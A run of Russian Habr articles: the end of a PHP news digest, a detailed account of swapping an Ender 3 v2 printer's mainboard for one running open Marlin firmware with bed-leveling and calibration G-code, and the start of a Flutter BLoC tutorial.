Николас Грекас [в Твиттере приводит примеры](https://twitter.com/nicolasgrekas/status/1244969585138446336) возможного использования такой функциональности, а именно имитации именованных параметров:
```
...[int $i] = ['a' => '123'];
function foo(...[int $i]) {
}
foo(['a' => '234']);
```
и быстрого объявления типизированных вложенных структур:
```
$var = (Foo) [
'a' => 123,
'b' => (Bar) [
'c' => // ...
],
];
```
* Отклонены по результатам голосования: [Server-Side Request and Response Objects](https://wiki.php.net/rfc/request_response), [Userspace operator overloading](https://wiki.php.net/rfc/userspace_operator_overloading), [Write-Once (readonly) Properties](https://wiki.php.net/rfc/write_once_properties).
### Инструменты
* [TitasGailius/terminal](https://github.com/TitasGailius/terminal) — Красивая обёртка над [symfony/process](https://github.com/symfony/process) для запуска внешних команд из PHP.
* [rlanvin/php-ip](https://github.com/rlanvin/php-ip) — Библиотека для работы с IPv4/IPv6 на PHP, вдохновлённая ipaddress из Python.
* [ramsey/collection](https://github.com/ramsey/collection) — Реализация коллекций вдохновлённая Java.
* [clue/graph-composer](https://github.com/clue/graph-composer) — Инструмент визуализирует связи между composer-пакетами вашего проекта.
### Symfony
* [Неделя Symfony #692 (30 марта — 5 апреля 2020)](https://symfony.com/blog/a-week-of-symfony-692-30-march-5-april-2020)
*  [Обзор компонента symfony/messenger](https://stfalcon.com/ru/blog/post/messenger-component).
*  [Временная локализация на Symfony 4 + Twig](https://habr.com/ru/post/495604/).
### Laravel
* [6 секретов Laravel Eloquent для улучшения кода](https://laravel-news.com/6-eloquent-secrets).
* [Сложные формы с помощью Laravel Livewire](https://freek.dev/1609-building-complex-forms-with-laravel-livewire-in-oh-dear).
*  [Всё о валидации в Laravel](https://laravel.demiart.ru/laravel-validation-controllers-form-requests-and-rules/).
*  [Blade компоненты в Laravel 7](https://laravel.demiart.ru/blade-komponenty-v-laravel-7/).
*  [Используем трейты для полиморфных связей в Laravel](https://habr.com/ru/post/494658/).
*  [Небольшие хитрости для тестирования веб-приложений на Laravel с использованием Model Factories](https://habr.com/ru/post/493926/).
### Yii
*  [Новости Yii 2020, выпуск 3](https://yiiframework.ru/news/259/novosti-yii-2020-vypusk-3)
### Материалы для обучения
* [О тестировании без мок-фреймворков.](https://blog.frankdejonge.nl/testing-without-mocking-frameworks/)
* [О паттерне Circuit Breaker](https://sarvendev.com/en/2020/03/circuit-breaker/) и использовании [ackintosh/ganesha](https://github.com/ackintosh/ganesha).
* [Функциональные тесты и ускорение создания схемы БД.](https://matthiasnoback.nl/2020/03/functional-tests-speeding-up-schema-creation/)
* [О проблемах паблик свойств и методов](https://www.tomasvotruba.com/blog/2020/03/30/dont-show-your-privates-to-public/) и как их «приватизировать» с помощью [rectorphp/rector](https://github.com/rectorphp/rector).
* [О разработке с использованием флагов фич](https://www.boxuk.com/insight/coding-with-feature-flags/) (фиче-флагов?).
* [Разбор уязвимости в ImpressCMS](https://blog.ripstech.com/2020/sql-injection-impresscms/) или почему не стоит доверять $\_SERVER['PHP\_SELF'].
* [SerafimArts/opengl-demo](https://github.com/SerafimArts/opengl-demo) — Демо использования OpenGL (SDL) на чистом PHP через FFI. (!)
*  [Капча для CodeIgniter 4](https://habr.com/ru/post/493752/) (и не только).
*  [Проблемы использования Doctrine ODM в процессах-демонах](https://habr.com/ru/post/495118/).
*  [Spiral: высокопроизводительный PHP/Go фреймворк](https://habr.com/ru/post/495224/).
### Аудио/Видео
*  Запись [большого онлайн-митапа по PHP](https://www.youtube.com/watch?v=Bxe8FQyaCBs): про легаси, монолиты, CQRS, GraphQL, редкие утилиты и вредные советы разработчику Васе.
*  [PHP Internals News: Episode 47: Attributes v2](https://phpinternals.news/47) — С [Benjamin Eberlei](https://twitter.com/beberlei) об аннотациях в PHP и [RFC Attributes v2](https://wiki.php.net/rfc/attributes_v2). Радует, что над потенциальной реализацией идёт [активная работа](https://github.com/beberlei/php-src/pull/2).
*  [PHP Internals News: Episode 46: str\_contains()](https://phpinternals.news/46) — C Philipp Tanlak о [добавленной str\_contains()](https://t.me/phpdigest/127) благодаря его RFC.
*  [Пятиминутка PHP № 76:](https://5minphp.ru/episode76/) Как провести собеседование PHP разработчика middle-уровня?
*  [Между скобок №2:](https://soundcloud.com/between-braces/2-anton-morev-o-graphql) Антон Морев о GraphQL.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 176](https://habr.com/ru/post/493594/) | https://habr.com/ru/post/495838/ | null | ru | null |
# Бюджетный 3D принтер как конструктор. Заменяем материнскую плату и прошивку
К нам приехал принтер Creality Ender 3 v2 с процессором GD (GigaDevice) вместо ожидаемого STM (STMicroelectronics). Принтер в базовой комплектации еще как-то работает (хотя прошивка очень урезана), но часть периферии принтера не работает вовсе (датчик филамента), а остальное работает не корректно (сенсор автокалибровки CR Touch) или перегревается (двигатели). Открытую прошивку Marlin для процессора STM можно скомпилировать и установить на матплату GD (хотя официально процессор не поддерживается), вот только эта прошивка не распознает сенсор автокалибровки. Получается, что нужна или замена материнской платы, или сенсора, или того и другого вместе. Логично начать с материнской платы и прошивки — как минимум, в открытой прошивке есть функции тестирования сенсора автокалибровки, так что уже можно будет выяснить, в порядке ли он.
После замены матплаты и установки открытой прошивки пользоваться принтером намного удобнее и качество печати улучшилось благодаря опциям калибровки всего оборудования принтера. В статье мы рассмотрим новые возможности подробнее. И, конечно же, разберемся детально с сенсором автокалибровки уровня CR Touch.
Описание проблемы штатной комплектации
--------------------------------------
Мы выбрали принтер Creality Ender 3 v2 за его популярность и комьюнити на форумах и ютубе и отличную поддержку в опенсорс проектах. Материнская плата устройства оснащена известным процессором STM от STMicroelectronics, полностью поддерживаемым в нескольких открытых проектах, предоставляющих прошивки для 3D принтеров. Но в реальности к нам приехал принтер с совершенно китайским процессором GD (GigaDevice). К этому не очень скромному гигадевайсу нет SDK, а код прошивки на основе открытого проекта Marlin производитель принтера не публикует (хотя и должен). Стабильность работы со штатной прошивкой тоже вызывает сомнения — настройки порой самопроизвольно сбрасываются (например, E-step). И все же принтер поставляется с прошивкой и работает, так что не очень понятно, можно ли что-то сделать в такой ситуации. Как оказалось, можно, потому что существуют две модификации материнской платы с одинаковым обозначением и совершенно разными процессорами и производитель и продавцы намеренно выдают одну за другую.
На сайте производителя принтера на [странице скачивания прошивок для принтера Ender 3 v2](https://www.creality.com/pages/download-ender-3-v2) мы наблюдаем следующую картину:
Первые две строчки это прошивки для принтера… "GD-Ender 3 v2"! Оказывается, производитель называет у себя этот принтер вовсе не "Ender 3 v2". Следующие три прошивки именованы вразнобой, хотя все они для принтера "Ender 3 v2" и сделаны основе открытого проекта Marlin — очевидно, потому, что раньше вариации "GD-Ender 3 v2" не существовало и не было необходимости указывать "Ender 3 v2" в названии на странице принтера "Ender 3 v2". Итак, по информации от производителя, существуют два разных принтера и "GD-Ender 3 v2" не поддерживает датчик филамента вообще, в то время как для "Ender 3 v2" доступна прошивка "… filament detection". Поддержка CR Touch заявлена, хотя и не ясно, работает ли — то ли продавец нам прислал подделку или бракованный сенсор, то ли проблема в прошивке "GD-Ender-3 V2-Marlin2.0.8.2-HW-V4.2.2-SW-V1.0.7\_E\_N\_BLTouch" (первая в списке).
В первую очередь, мы спросили у продавца прошивку для обоих датчиков — CR Touch и датчика филамента (который уже был нами куплен и давно приехал, пока мы полтора месяца ждали принтер — тут уже с продавцом было что-то неладно, когда он на вопросы присылал раз за разом нерабочие трек-номера). Это обращение было проигнорировано. На просьбу заменить матплату для решения проблемы с недоступностью прошивки и возможного решения проблемы с CR Touch реакции также не последовало.
Итак, по CR Touch становится ясно, что использовать его невозможно, будь то проблема устройства или принтера (и то и другое куплено у одного продавца, так что без разницы). Обращение к продавцу с этим вопросом привело лишь к тому, что он в ответ 4 раза присылал одно и то же — мы неправильно используем сенсор, надо делать не как написано в инструкции, а просто включить автокалибровку уровня сопла один раз, потом настроить уровень рабочего стола руками и больше никогда не запускать автокалибровку. Получается, продавец предлагает вообще не пользоваться сенсором, надеясь на то, что покупатель слабо разбирается в технике и поверит такому объяснению. В итоге, мы потребовали возврат стоимости сенсора — и получили его после рассмотрения жалобы поддержкой алиэкспресс. В качестве подтверждающего видео показали поочередно все рекомендованные шаги установки и настройки из прилагаемого мануала и наши действия согласно им, плюс процесс тестовой печати на всей площади стола (level test), где в левой части рабочего стола филамент прилип намертво (позиционирование сопла правильное или ниже нужного уровня), посередине еле держался и полностью отвалился на оставшейся площади.
Теперь что касается матплаты. В описании принтера указано наличие "Silent mainboard" и у Creality есть такой продукт "Creality Ender-3 V2 32-bit Silent Motherboard Kit", смотрим его описание на сайте <https://creality3d.shop/collections/mainboard/products/creality-ender-3-v2-32-bit-silent-motherboard-kit>, где прямо назван процессор STM как одно из преимуществ продукта:
Итак, принтер "Ender 3 v2" действительно должен поставляться с процессором STM и это явно указано на странице описания материнской платы к принтеру. Нам прислали другую модификацию принтера, которая на странице поддержки производителя именована как "GD-Ender 3 v2".
Решение проблемы
----------------
Остается лишь купить "правильную" материнскую плату из двух доступных от Creality — 4.2.2 или 4.2.7, разницы по функциям и цене между ними нет (судя по описаниям), так что можно просто взять более новую плату 4.2.7. Есть совместимые матплаты и от других производителей, но пока что мы хотим привести наш принтер в ожидаемое состояние. Поскольку на всех фото и в описании матплат указан процессор STM, тут мы не ожидаем непредвиденных замен процессора, отличаются только драйверы шаговых моторов. В то же время, новая плата может оказаться не совместимой с установленным дисплеем. Удивительно, но маркировки на дисплее и внутри никакой нет, по которой его модель можно было бы опознать. Энтузиасты уже составили список примет для опознания дисплея по отверстиям на его управляющей плате, но за точность не ручаются, так что просто заказываем матплату, держа в уме возможную необходимость замены и дисплея.
Уточнив все это, мы обратились за частичным возмещением для покупки комплекта из материнской платы с дисплеем на замену "CREALITY 4.2.7 Silent Mainboard Kit For Ender-3 V2" и получили его после рассмотрения запроса поддержкой алиэкспресс. Стоит отметить, что все вопросы от нас про материнскую плату продавец игнорировал даже после нашего обращения напрямую в поддержку алиэкспресс. Притом, до покупки принтера я видел у этого же продавца лот, где принтер можно купить в комплекте с матплатой версии 4.2.7 с доплатой около 10$, но не было сказано ни слова о не поддерживаемой штатной матплате, так что идея сразу же покупать аналогичную матплату на замену показалась странной. Стоило в описании принтера предупреждать о проблеме — и мы бы сразу взяли комплектом принтер вместе с матплатой на процессоре STM на замену, а вот когда это выявляется только постфактум, то приходится терять время на все эти перипетии и покупать матплату отдельно примерно за 30$.
Установка матплаты 4.2.7
------------------------
Старая (4.2.2 GD) и новая (4.2.7 STM) платы идентичны по разъемам, так что нужно на старой плате обрезать клей на всех коннекторах, вытащить их и подключить к новой плате. Заодно мы обрезали облуженные кончики силовых проводов для зажимных контактов. Производители для своего удобства зажимают именно облуженные провода и это порой приводит к плохому контакту, перегреву и даже выскальзыванию проводов из разъемов (с коротким замыканием).
Штатная плата щедро залита клеем, который надо аккуратно удалить перед отключением всех коннекторов:
На новой матплате радиаторы значительно крупнее по размерам, размеры остальных элементов и самой платы не изменились:
Изображение и описание от производителя [Creality3D Upgrade Silent 4.2.7 Mainboard For Ender 3](https://creality3d.shop/products/creality3d-upgrade-silent-4-2-7-1-1-5-mainboard-for-ender-3-ender-3-pro-ender-5-3d-printer)
Очень интересная деталь — после установки новой матплаты мы не меняли VREF двигателей и они работают корректно, что называется, "из коробки" — не перегреваются и не пропускают шаги. На старой матплате VREF необходимо было существенно снижать, как описано в предыдущей статье, иначе двигатели перегревались и даже филамент в экструдере плавился от нагрева двигателя.
Установка прошивки
------------------
Из существующих открытых прошивок для принтера Creality Ender 3 V2, мы выбрали [mriscoc](https://github.com/mriscoc) форк проекта [Marlin](https://marlinfw.org), оптимизированный под принтеры Creality Ender 3 серии. Эта же прошивка на штатной матплате с процессором GD устанавливается, но не распознает CR Touch сенсор. А прошивка от производителя распознает, но автовыравнивание все равно не работает, так что разницы, по сути, и нет. После установки новой матплаты с STM процессором сенсор CR Touch работает и показывает отличную точность (подробнее ниже).
Мы попробовали две прошивки, базовую и с добавленной опцией Linear Advance:
* [Ender3V2-427-BLTUBL-MPC-20221222.bin](https://github.com/mriscoc/Ender3V2S1/releases/download/20221222/Ender3V2-427-BLTUBL-MPC-20221222.bin) на странице [Ender3 V2/S1 Professional Firmware 20221222](https://github.com/mriscoc/Ender3V2S1/releases/tag/20221222),
* [Experimental-Ender3V2-427-BLTUBL-LA-MPC-20221222.bin](https://github.com/mriscoc/Special_Configurations/releases/download/LinearAdvance/Experimental-Ender3V2-427-BLTUBL-LA-MPC-20221222.bin) на странице [Linear Advance (LA)](https://github.com/mriscoc/Special_Configurations/releases/tag/LinearAdvance).
Установка заключается в копировании нужного .bin. файла на флэшку и при включении принтер автоматически загрузит новую прошивку (если она не совпадает с уже установленной). После установки нам доступно множество новых функций, посмотрим на самые важные для нас. Настройки мы добавляем в стартовый G-code слайсера, чтобы при обновлении прошивки не нужно было заново указывать все это на принтере.
### Ретракты в прошивке (Firmware Retract)
Для лучшей переносимости G-кода можно настроить параметры ректакта на принтере, а в слайсере убрать их настройки и оставить только соответствующие коды для прошивки. Не самое лучшее решение для нас, потому что принтер у нас только один, а настройки ректакта в прошивке имеют меньше опций, чем в слайсере. Чтобы проверить, не использует ли слайсер эту опцию, достаточно в файле G-кода поискать команды G10 и G11 — если их нет, ретракты в прошивке не используются.
### Мастер выравнивания рабочего стола (Bed Tramming)
Соответствующий пункт меню позволяет настраивать уровень рабочего стола интерактивно, см. [Bed tramming menu](https://github.com/mriscoc/Ender3V2S1/wiki/Bed-tramming-menu):
Без листа бумаги и мерных пластинок можно просто зайти в меню и следовать подсказкам, какой угол рабочего стола поднять или опустить, после чего повторить при необходимости.
### Модель температуры сопла (MPC)
Для более точного управления температурой теперь можно провести замеры во всем диапазоне рабочих температур и при работе пользоваться измеренной зависимостью температуры от времени нагрева и мощности нагревательного элемента, см. [Model Predictive Temperature Control support (MPC)](https://github.com/mriscoc/Special_Configurations/releases/tag/MPC):
Запускаем автокалибровку (построение модели), немного ждем и все готово — параметры вычислены.
### Модель температуры рабочего стола (Hotend-Bed PID)
Аналогично модели нагрева сопла оцениваются и параметры нагрева рабочего стола.
### Мастер настройки сенсора автокалибровки (Z Probe Wizard)
Для использования сенсора нужно энкодером на контрольной панели принтера выбрать значение высоты Probe Z Offset срабатывания сенсора, см. [3D BLTouch](https://github.com/mriscoc/Ender3V2S1/wiki/3D-BLTouch):
### Настройка положения сенсора уровня
В связи с очень неровной поверхностью рабочего стола важно точно определить расположение сенсора уровня относительно сопла — но в штатной прошивке эти параметры недоступны. В новой прошивке параметры задаются через соответствующее меню:
### Автоматическое выравнивание (UBL)
Unified Bed Leveling (UBL) это метод измерения высот поверхности рабочего стола для узлов регулярной сетки размером от 3х3 до 9х9, ручного или интерполированного заполнения пропусков (если в каких-то точках сенсор не может выполнить измерения) и, опционально, сохранения готовой сетки в EEPROM. Поскольку измерения для больших сеток требуют немало времени, запускать построение сетки для каждой печати не обязательно (хотя и возможно), достаточно делать это при замене поверхности рабочего стола или механических изменений или настроек конструкции принтера.
Прежде чем заниматься настройкой автоматического выравнивания следует проверить работу сенсора автовыравнивания. Для этого в меню установленной прошивки доступен "M48 Probe Test" для оценки точности серии измерений в одной точке. Также это можно сделать с помощью консольных команд (в штатной прошивке не поддерживаются и оценить работу сенсора невозможно):
```
G28
M48 v4
```
Для нашего сенсора значение Standard Deviation получилось равным 0.001 при допустимых значениях до 0.01. Значит, сенсор работает точно и можно переходить к настройке автовыравнивания.
Сама настройка сложностей не представляет — из меню запускается измерение значений высоты для регулярной сетки координат на рабочем столе, далее построенную сетку нужно сохранить (по умолчанию в слот 0 EEPROM). В прошивке есть опция загрузки меша, так что не обязательно указывать слот загрузки, а можно использовать активный (уже загруженный) меш. Только UBL меши сохраняются в EEPROM, так что все команды сохранения и загрузки из слотов EEPROM не могут быть использованы с другими методами автовыравнивания — это помогает отличить информацию по другим методам выравнивания, когда использованный метод не указан. Наш штатный стеклянный рабочий стол на сетке 9х9 имеет следующие вариации высоты:
Такая форма поверхности вполне ожидаема, поскольку стекло у нас закреплено канцелярскими зажимами во всех четырех углах, так что в углах получаются минимальные значения, по периметру значения несколько больше и в центре стекло выгибается от основания, то есть вверх. И все же поверхность стекла даже в центре имеет очень большие вариации уровня.
Кстати, если полученные значения не похожи на рассмотренный кольцевой паттерн, это означает необходимость настройки горизонтальной оси, поскольку именно ее перекос приводит к появлению горизонтального тренда в измерениях уровня.
Как результат значительных вариаций уровня, при использовании сетки 9х9 на штатном стекле адгезия оказывается хуже, чем для более грубой сетки 5х5. При желании, это можно компенсировать ручным редактированием значений, измерив уровни вокруг проблемных узлов и посчитав среднее значение или просто оценивая результаты печати. Указанные сложности связаны с гладкой поверхностью штатного стеклянного стола, при использовании более шероховатых поверхностей автовыравнивание "просто работает".
Подключаясь к принтеру через терминал, с помощью команды `M420 T1 V1` легко получить измеренные значения сетки в формате CSV. Ниже приведены наши значения для сетки 9х9 (максимальный размер) и 5х5 (размер по умолчанию):
```
>>> M420 T1 V1
SENDING:M420 T1 V1
Bed Topography Report for CSV:
-0.14 -0.14 -0.15 -0.13 -0.15 -0.14 -0.14 -0.15 -0.21
-0.14 -0.15 -0.15 -0.00 0.00 0.00 0.02 -0.18 -0.22
-0.15 -0.17 -0.02 -0.01 -0.00 0.00 0.01 0.03 -0.22
-0.18 -0.04 -0.04 -0.03 -0.03 -0.02 -0.00 0.00 -0.03
-0.19 -0.05 -0.06 -0.07 -0.07 -0.06 -0.04 -0.03 -0.08
-0.17 -0.05 -0.05 -0.05 -0.04 -0.03 -0.02 -0.01 -0.06
-0.18 -0.19 -0.04 -0.03 -0.03 -0.02 -0.00 0.01 -0.22
-0.18 -0.18 -0.19 -0.03 -0.02 -0.02 0.00 -0.17 -0.21
-0.18 -0.17 -0.16 -0.16 -0.15 -0.15 -0.14 -0.14 -0.20
Mesh is valid
>>> M420 T1 V1
SENDING:M420 T1 V1
Bed Topography Report for CSV:
0.01 0.01 0.03 0.03 -0.04
-0.01 -0.01 -0.01 0.00 -0.05
-0.06 -0.06 -0.07 -0.06 -0.11
-0.04 -0.05 -0.03 -0.01 -0.06
-0.04 -0.02 -0.01 0.01 -0.04
Mesh is valid
```
Максимальная вариация на расстоянии одной ячейки составляет 0.19 мм (от -0.22 до -0.03) для шага 2.5 см и 0.06 мм (от -0.05 до -0.11) для шага 5 см соответственно у правой границы области измерений выше центра. Конечно, даже для слоя 0.2 мм подобная вариация поверхности приводит к невозможности выровнять первый слой. При печати с автовыравниванием на сетке 5х5 такой проблемы нет — просто потому, что узлы сетки оказались расположены более удачно и не попали в точки с большими отклонениями.
В слайсере к стартовому G-коду следует добавить команды (G28 уже есть, после нее дописать две следующие строки), см. [3D BLTouch](https://github.com/mriscoc/Ender3V2S1/wiki/3D-BLTouch):
```
G28 ; Home all axes
G29 L0 ; Load a valid mesh from slot 0
G29 A ; Activate the UBL system
```
Есть и еще один [код M420](https://marlinfw.org/docs/gcode/M420.html), который частично пересекается по функционалу с G29, в документации есть сравнительная табличка: [Unified Bed Leveling](https://marlinfw.org/docs/features/unified_bed_leveling.html). Команда ниже активирует авто-выравнивание, загрузит ранее сохраненный меш из EEPROM слота 0 и установит высоту компенсации 10 мм (компенсация линейно убывает до нуля и на указанной высоте слои будут печататься строго горизонтально):
```
M420 L0 S1 Z10
```
Допустимо также выполнять измерения при каждом запуске на печать, см. [Unified Bed Leveling](https://marlinfw.org/docs/features/unified_bed_leveling.html):
```
G28 ; Home XYZ
G29 P1 ; Do automated probing of the bed
G29 A ; Activate the UBL System
```
### Выравнивание давления филамента (Linear Advance)
Поскольку движение мотора экструдера не мгновенно приводит к изменению давления пластика в сопле, при печати возникают некоторые артефакты, связанные с недостатком или избытком пластика в нужный момент. Для частичного решения этой проблемы можно использовать в слайсере опции Coasting для уменьшения количества подаваемого пластика, и опцию Wipe для увеличения путем добавления небольшого холостого пробега для ожидания поступления нужного количества пластика в сопло. Опции эти полезны, но они оперируют разными параметрами и довольно сложны в использовании. Linear Advance обещает решить эти проблемы разом, отказавшись от (странной) идеи, что перемещения экструдера не отличаются от перемещения по пространственным осям и используя некоторую модель для предсказания потока пластика в сопле.
Для использования опции необходимо установить версию прошивки с поддержкой Linear Advance и потребуется определить значение единственного параметра K-factor. Существует стандартный тест [Marlin K-factor Calibration Pattern](https://marlinfw.org/tools/lin_advance/k-factor.html), но у нас он напечатал только одну линию с набором клякс по краю рабочего стола, так что мы снова обратились к стандартному набору тестов Calibration-Shapes в Cura. Нужный нам тест требует нескольких трюков, которые описаны на его официальной страничке [Linear Pressure Advance Tower](https://github.com/5axes/Calibration-Shapes/wiki/Linear-Pressure-Advance-Tower), а еще вместо указанного "Marlin Linear Advance" следует в настройках постобработки искать "Marlin Linear":
Мы провели тест для трех разных скоростей печати при толщине слоя 0.2 мм, получив следующие результаты (Value Increment 0.01 соответствует делению на 100):
* разницы нет для скорости 20 мм/с Outer Wall Speed/Inner Wall Speed,
* 19.2 мм/0.2 мм/100 = 0.96 — для скорости 40 мм/с Outer Wall Speed/Inner Wall Speed,
* 13.2мм/0.2 мм/100 = 0.66 — для скорости 80 мм/с Outer Wall Speed/Inner Wall Speed.
Поскольку по умолчанию скорость печати стен (Wall Speed) равна половине общей скорости печати, то K-factor 0.96 подходит для скоростей печати до 80 мм/с (притом, что для использованного пластика производитель рекомендует скорость печати до 60 мм/с).
Добавим к стартовому G-коду слайсера команду установки выбранного значения K-factor:
```
M900 K0.960 ; K-factor
```
После настройки Linear Advance тест для определения дистанции ретракшена показывает уже значение 1.5 мм вместо прежних 3 мм.
### Подавление резонанса (Input Shaping)
Этой опции в опробованных нами прошивках нет, но она доступна в сборке [Input Shaping (IS)](https://github.com/mriscoc/Special_Configurations/releases/tag/InputShaping) Возможность пока в статусе экспериментальной для проекта Marlin (и всех его форков), а детальное описание доступно в документации проекта [Klipper](https://www.klipper3d.org/): [Resonance Compensation](https://www.klipper3d.org/Resonance_Compensation.html) Кроме того, в Klipper возможна автоматическая оценка параметров, используя акселерометры, к примеру, актуальное руководство доступно по ссылке [Klipper Input Shaping for Ender 3 — All You Need to Know](https://www.obico.io/blog/klipper-input-shaping-ender-3/) Для высокой скорости печати компенсация резонанса необходима, вопрос лишь, как ее выполнять. Дело в том, что в первую очередь следует бороться с резонансом настройкой принтера, а уж потом переходить к программной компенсации — иначе частоты резонанса окажутся плавающими и настройка будет требоваться постоянно (об этом есть упоминания в документации по ссылкам выше). Так что мы начнем с установки уголков на фрейм, второй вертикальной оси, CNC уголков и гибких муфт с гасящей вибрации вставкой на моторы вертикальных осей, а потом можно будет оценить, нужна ли нам программная компенсация вибраций. Сама по себе задача интересная и важная, так что рассмотреть эту тему стоит — но начинать с настройки "железа".
### Отображение превью (G-code Preview)
Установленная прошивка умеет показывать превью для G-code файлов, как описано на странице [How to generate a gcode preview](https://github.com/mriscoc/Ender3V2S1/wiki/How-to-generate-a-gcode-preview) Мы установили и настроили расширение к Cura согласно описанию, но на нашем принтере отображается пустое место вместо превью:
Как сказано по ссылке выше, в новых Ender 3 v2 установлен экран DACAI, который не поддерживает отображение картинки. Итак, теперь-то мы знаем, какой у нас установлен экран — и нам еще повезло, потому что другие пользователи сообщают, что у них Ender 3 v2 зависает при попытке отобразить превью. А вот первые выпущенные принтеры этой модели не имеют проблем с отображением превью. Притом, приобрести совместимый экран на замену практически невозможно, так как тип экрана продавцами не указывается.
Результаты
----------
Удобство использования принтера дело вкуса, а вот возможности получить точную информацию о качестве измерений сенсора уровня (дисперсию), значения высот по всей поверхности рабочего стола (через терминал можно замерять с произвольным шагом) и, наконец-то, использовать автовыравнивание — это действительно значительные изменения в работе с устройством. Отметим, что для штатного стеклянного покрытия рабочего стола автовыравнивание оказывается делом затейливым — значения высот поверхности настолько варьируются, что измерения в одной точке не представительны для вычисления смещения ячейки сетки измерений.
Посмотрим, как изменилось основание модели 3DBenchy при ручном выравнивании для стоковой прошивки (слева) и автовыравнивании для открытой прошивки (справа):
Здесь автовыравнивание обеспечило значительное улучшение четкости текста на нижней поверхности модели.
И, конечно же, мы ожидали улучшения качества печати за счет калибровки температур сопла и рабочего стола. Если выравнивание возможно было сделать вручную, то эти функции были нам недоступны. Между тем, температурная нестабильность, да еще при слабом штатном вентиляторе, приводит к разной вязкости и толщине слоев, что может быть заметно визуально на результатах печати. Посмотрим на фотографию, где слева показан результат печати со штатной прошивкой (толщина слоя 0.12 мм) и справа с открытой (толщина слоя 0.2 мм):
Разница не очень большая, но на правой модели более гладкая поверхность трубы сверху и еще чуть поменьше артефактов. Притом, правая модель напечатана за 1 час 40 минут вместо 2 часов 20 минут за счет увеличения толщины слоя с 0.12 до 0.2 мм, и результат получился даже лучше прежнего.
Еще некоторые улучшения может обеспечить функция Linear Advance, рассмотренная выше. Согласно нашим тестам, разница ожидается при скорости печати от 80 мм/с. Поскольку штатный вентилятор не справится с нависающими элементами при такой скорости печати, мы включим опцию слайсера "Enable Bridge Settings" для замедленной печати перекрытий, чтобы они успевали остывать. На фото ниже показаны результаты печати при скорости 40 мм/с (слева) и 80 мм/с (справа):
При скорости 40 мм/с разницы между включенным и выключенным Linear Advance нет, как и ожидалось по результатам тестов выше. При удвоении скорости печати разницы тоже почти нет — в то время как на стоковой прошивке без этой функции результаты печати кардинально ухудшались при превышении рекомендованной производителем скорости 60 мм/с. Таким образом, Linear Advance позволяет печатать заметно быстрее при сохранении примерно того же качества результата.
Заключение
----------
В итоге, мы довольны результатами замены материнской платы и установки открытой прошивки. Интерактивный мастер настройки винтов, регулирующих уровень рабочего стола, тестирование сенсора автовыравнивания и само автовыравнивание заметно упрощают эксплуатацию принтера. Поверхность штатного стекла оказалась очень неровной, равно как и алюминиевое основание, и все же система автоматического выравнивания UBL справляется со своей задачей.
Компания Creality, ранее рекламировавшая свой принтер Ender 3 v2 как открытый продукт, на самом деле идет в обратном направлении — процессор, исподтишка замененный на не поддерживаемый даже производителем принтера, приводит к невозможности использования официально совместимой периферии (датчик филамента, сенсор CR Touch) и открытых прошивок. Судя по нашим результатам, проблема с CR Touch в официальной прошивке заключается в том, что она не справляется с автовыравниванием на столь кривой поверхности рабочего стола, используя один из простых алгоритмов с жестко заданными параметрами — притом, что официально заявлена совместимость сенсора CR Touch с принтером Ender 3 v2.
В качестве конструктора принтер оказался тем еще приключением, и мы продолжим этот путь — впереди много интересного.
Также смотрите
--------------
* [Мои статьи на Хабре](https://habr.com/ru/users/n-cube/posts/)
* [Работа с ГИС и ГЕО данными на LinkedIn](https://www.linkedin.com/in/alexey-pechnikov/)
* [Геологические модели и код на GitHub](https://github.com/mobigroup)
* [YouTube канал с геологическими моделями](https://www.youtube.com/channel/UCSEeXKAn9f_bDiTjT6l87Lg)
* [Геологические модели в виртуальной/дополненной реальности (VR/AR)](https://mobigroup.github.io/ParaView-Blender-AR/)
* [PyGMTSAR InSAR Docker образы на DockerHub](https://hub.docker.com/u/mobigroup)
[](https://adminvps.ru/servers/servers_germany.php) | https://habr.com/ru/post/715538/ | null | ru | null |
# Flutter BloC паттерн + Provider + тесты + запоминаем состояние
Эта статья выросла из публикации “[BLoC паттерн на простом примере](https://habr.com/ru/post/475404/)” где мы разобрались, что это за паттерн и как его применить в классическом простом примере счетчика.
По комментам и для своего лучшего понимания я решил попробовать написать приложение в котором будут получены ответы на вопросы:
1. Как передавать состояние класса в котором находится BloC по всему приложению
2. Как написать тесты для этого паттерна
3. (дополнительный вопрос) Как сохранить состояние данных между запусками приложения оставаясь в рамках BLoC паттерна
Ниже анимашка получившегося примера, а под катом разбор полетов :)
И ещё в конце статьи интересная задачка — как модифицировать приложение для применения [Debounce оператора из ReactiveX](http://reactivex.io/documentation/operators/debounce.html) паттерна (если точнее, то reactiveX — расширение Observer pattern)
Описание приложения и базового кода
-----------------------------------
**Не имеет отношения к BLoC и Provider**
1. В приложении есть кнопочки +- и работают свайпы, которые дублируют эти кнопки
2. Анимация сделана через встроенный во flutter mixin — TickerProviderStateMixin
**Связано с BLoC и Provider**
1. Два экрана — на первом свайпаем, на втором отображаются изменения счетчика
2. Записываем состояние в постоянное хранилище телефона (iOS & Android, пакет <https://pub.dev/packages/shared_preferences>)
3. Запись и считывание информации из постоянного хранилища асинхронная, тоже делаем через BLoC
Пишем приложение
----------------
Как следует из [определения паттерна BLoC](https://habr.com/ru/post/475404/) наша задача убрать из виджетов всю логику и работать с данными через класс в котором все входы и выходы — Streams.
При этом, так как класс в котором находится BLoC используется на разных экранах, то нам надо передавать объект созданный из этого класса по всему приложению.
Для этого есть разные методы, а именно:
1. Передача через конструкторы классов, так называемый [lifting state up](https://flutter.dev/docs/development/data-and-backend/state-mgmt/simple). Не будем использовать, так как очень запутанно получается, потом не отследить передачи состояний.
2. Сделать из класса где у нас BLoC синглтон и импортировать его где нам нужно. Это просто и удобно, но, с моей сугубо личной точки зрения, усложняет конструктор класса и немного запутывает логику.
3. Использовать пакет Provider — который рекомендуется командой Flutter для управления состояниями. [См. видео](https://youtu.be/d_m5csmrf7I)
В данном примере мы будем использовать Provider — привести пример всех методов не хватило сил :)
**Общая структура**
Итак, у нас есть класс
```
class SwipesBloc {
// some stuff
}
```
и, чтобы объект созданный из этого класса, был доступен по всему дереву виджетов, мы, на определенном уровне виджетов приложения, определяем провайдер из этого класса. Я сделал это на самом верху дерева виджетов, но лучше это делать на максимально нужном низком уровне.
```
